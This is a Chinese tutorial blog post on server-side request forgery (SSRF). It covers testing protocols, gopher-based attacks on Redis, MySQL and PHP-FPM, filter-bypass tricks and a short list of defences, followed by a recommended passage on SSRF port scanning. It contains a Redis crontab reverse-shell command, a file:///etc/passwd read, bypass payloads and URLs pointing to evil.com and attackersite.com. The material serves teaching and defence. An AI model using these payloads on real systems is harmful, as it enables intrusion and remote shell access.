SSRF漏洞分析和防御

简介

  服务端伪造请求(server side request forgery)是一种通过构造数据进而伪造服务器发起请求的漏洞。

  请求是由内部发起,一般SSRF漏洞攻击的目标往往是从内网无法访问的内部系统。由攻击者构造的攻击链接传给服务端执行造成的漏洞,

  XSS是利用客户端发起请求;SSRF是利用服务器发起请求。

存在场景

  SSRF漏洞一般出现在有调用外部资源的场景中,如社交服务分享功能、图片识别服务、网站采集服务、远程资源请求(wordpress xmlrpc.php)、文件处理服务(XML解析)等。

SSRF漏洞测试
尝试是否能控制、支持常见的协议
file:// 从文件系统中读取文件内容

eg:file:///etc/passwd

dict:// 字典服务器协议,让客户端能够访问更多字典源,可以获取目标服务器上运行的服务版本等信息。

dict://ip:6739/info (redis)

gopher:// 分布式的文档传递服务。

SSRF利用

一、使用Gopher协议扩展攻击面
1. 攻击Redis(是key-values存储系统,是跨平台的非关系数据库 详细->菜鸟教程)
redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)(一般运行于内网,使用者大多将其绑定于127.0.0.1:6379)

redis-cli //连接redis服务 加上–raw解决中文乱码
redis-cli -h host -p port -a password //远程登陆
一般通过写入crontab反弹shell
(注:Linux crontab是用来定期执行程序的命令,crond 命令每分锺会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。)

攻击流程:
	1、redis-cli flushall
	2、echo -e "\n\n*/1 * * * * bash -i /dev/tcp/172.28.0.3/1234 0>&1\n\n" | redis-cli -x set 1 redis-cli config set dir /var/spool/cron/   
	(指定shell为bash,编辑contab文件的内容任务,
	每一分钟编辑-e后面的指令,蓝色redis设置键值,
	把反弹shell写入配置文件)
	3、redis-cli config set dbfilename root
	4、redis-cli save
	5、 然后将全部数据转换成Gopher协议的URL。
	最后数据需要在urlencode编码一次

(自动组装Gopher Gopherus
最后数据需要在urlencode编码一次在这里插入图片描述
二、攻击MYSQL
MYSQL客户端连接服务端方式有4种,UNIX套接字,内存共享,命名管道,TCP/IP套接字
攻击流程举例:
a. 使用tcpdump -i lo port 3306 -w /pcap/mysql.pcap抓包
b. 用户登录MYSQL正常操作
c. 利用wireshark打开mysql.pcap,导出客户端到服务端的数据
d. 进行URL编码构造gopher协议
e. Payload :页面URL/?url=gopher://本地ip:port/_数据包需要在urlencode编码一次
在这里插入图片描述
三、PHP-FPM攻击
PHP-FPM是实现和管理FastCGI的进程。通信可分为两种:TCP和UNIX套接字。
TCP模式是本机上监听一个端口,默认端口号9000,Nginx会把客户端数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程进行解析。

Nginx配置文件如下:

Location ~ \.php${
	Index index.php index.html index.htm;  

PHP-FPM配置文件:

listen=127.0.0.1:9000
	Include /etc/nginx/fastcgi_params;
	Fastcgi_pass 127.0.0.1:9000;
	Fastcgi_index index.php;
	Include fastcgi_params;
	}

通过伪造FastCGI协议包实现PHP任意代码执行。FastCGI协议只可以传输配置信息,需要被执行的文件名及客户端传进来的GET,POST,cookie等数据,然后通过更改配置信息来执行任意代码。
php://ini中有两个非常有用的配置项

a. auto_prepend_file:
在执行目标文件前,先包含auto_prepend_file中指定的文件,并且可以使用伪协议如php://input(php://input是客户端HTTP请求中POST的原始数据,如果将auto_prepend_file设定为php://input,那么每个文件执行前都会包含POST的数据,前提需要开启allow_url_include)
b. auto_append_file:在执行目标文件后,包含auto_append_file指向的文件。
限制条件:需要知道服务器上一个PHP文件的绝对路径,且security.limit_extensions配置项的后缀必须为.php,所一一般可以使用默认的/var/www/html/index.php

攻击内网中脆弱的web应用
将http数据包改为gopher协议的URL,执行command=uname -a

SSRF绕过

1. IP限制
使用Enclosed alphanumerics代替IP中的数字或网址中的字母。

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> http://example.com

参考:封闭式字母数字
在这里插入图片描述
用句号代替点

127。0。0。1 >>> 127.0.0.1

将IP地址转换进制
使用正则表达式过滤属于内网的IP地址,可绕过
十六进制前需加0x,八进制加0。
IP地址简写:
127.0.0.1写法:

ip地址中间的0可省略。
linux下 0代表127.0.0.1
windows下0代表0.0.0.0
127.0.0.1 -> 127.1
http://0

2. DNS 重绑定
3. 302跳转
xip.io服务类似DNS重绑定
127.0.0.1.xip.io解析成127.0.0.1,访问服务任意子域名都会重定向到子域名。

http://10.0.0.1.xip.io = 10.0.0.1
www.10.0.0.1.xip.io= 10.0.0.1
http://mysite.10.0.0.1.xip.io = 10.0.0.1
foo.http://bar.10.0.0.1.xip.io = 10.0.0.1
10.0.0.1.xip.name resolves to 10.0.0.1
www.10.0.0.2.xip.name resolves to 10.0.0.2
foo.10.0.0.3.xip.name resolves to 10.0.0.3
bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4

4、限制指定域名

http://xample.com@evil.com

URL: [协议]😕/[用户名]:[密码]@[主机名/域名/IP]:[端口号]/[路径]/[文件]?[参数]

防御

1、关闭不必要的端口,例如只开放80,443,8080,8090等
2、限制请求的协议,例如限制只能是HTTP,HTTPS
3、使用DNS缓存或者Host白名单的方式
4、设置URl白名单或者限制内网IP等。

未完待续…

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SSRF(Server Side Request Forgery)漏洞是一种常见的Web安全漏洞,攻击者可以利用该漏洞伪造服务器端发起的请求,例如访问内部系统或者外部网络等,从而造成安全风险。 SSRF漏洞的利用方式有很多种,其中一种典型的方式是利用SSRF漏洞进行端口扫描。攻击者可以构造特定的请求,使目标服务器向攻击者指定的IP地址和端口发起连接,从而达到端口扫描的目的。 下面我们就来分析一下SSRF漏洞的利用过程。 一、漏洞利用过程 1. 构造恶意请求 攻击者可以构造恶意请求,将需要访问的目标URL替换成攻击者指定的URL,从而实现伪造请求的目的。 例如,以下请求中的网址参数即为存在SSRF漏洞的关键点: ``` http://example.com/?url=http://attackersite.com ``` 攻击者可以将其替换成需要访问的目标URL,例如: ``` http://example.com/?url=http://127.0.0.1:22 ``` 2. 利用漏洞进行端口扫描 当攻击者构造完恶意请求后,目标服务器会向攻击者指定的IP地址和端口发起连接,如果连接成功,说明该端口开放,否则该端口关闭。 攻击者可以通过不断尝试不同的端口,从而达到端口扫描的目的。 二、实战演练 下面我们将通过一个CTF例题来演示如何利用SSRF漏洞进行端口扫描。 1. 环境搭建 我们可以使用Docker来搭建漏洞环境,具体步骤如下: 1)拉取Docker镜像 ``` docker pull bluetonem/hackme-ssrf ``` 2)启动容器 ``` docker run -d -p 8080:80 bluetonem/hackme-ssrf ``` 2. 漏洞利用 访问http://127.0.0.1:8080/,可以看到一个简单的Web应用程序,该应用程序可以通过URL参数获取指定网址的源代码。 我们可以利用SSRF漏洞,将目标网址替换成攻击者指定的URL,从而实现伪造请求的目的。 例如,以下请求中的网址参数即为存在SSRF漏洞的关键点: ``` http://127.0.0.1:8080/?url=http://attackersite.com ``` 攻击者可以将其替换成需要访问的目标URL,例如: ``` http://127.0.0.1:8080/?url=http://127.0.0.1:22 ``` 如果该端口开放,返回的页面会显示"SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2"等信息,说明端口开放。如果该端口关闭,则返回的页面会显示"Connection refused"等信息,说明端口关闭。 通过不断尝试不同的端口,可以实现端口扫描的目的。 三、防御措施 为了避免SSRF漏洞的产生,需要采取以下安全措施: 1. 对用户输入的URL进行严格验证,确保只访问合法的URL。 2. 对URL进行白名单验证,只允许访问指定的URL,避免访问不受信任的URL。 3. 对访问的目标URL进行限制,避免访问内部系统或者外部网络等不安全的URL。 4. 对服务器的网络端口进行限制,避免访问不受信任的IP地址和端口。 5. 对服务器进行定期的安全审计,及时发现和修复漏洞。 以上是关于SSRF漏洞分析与利用的详细介绍,希望对你有所帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值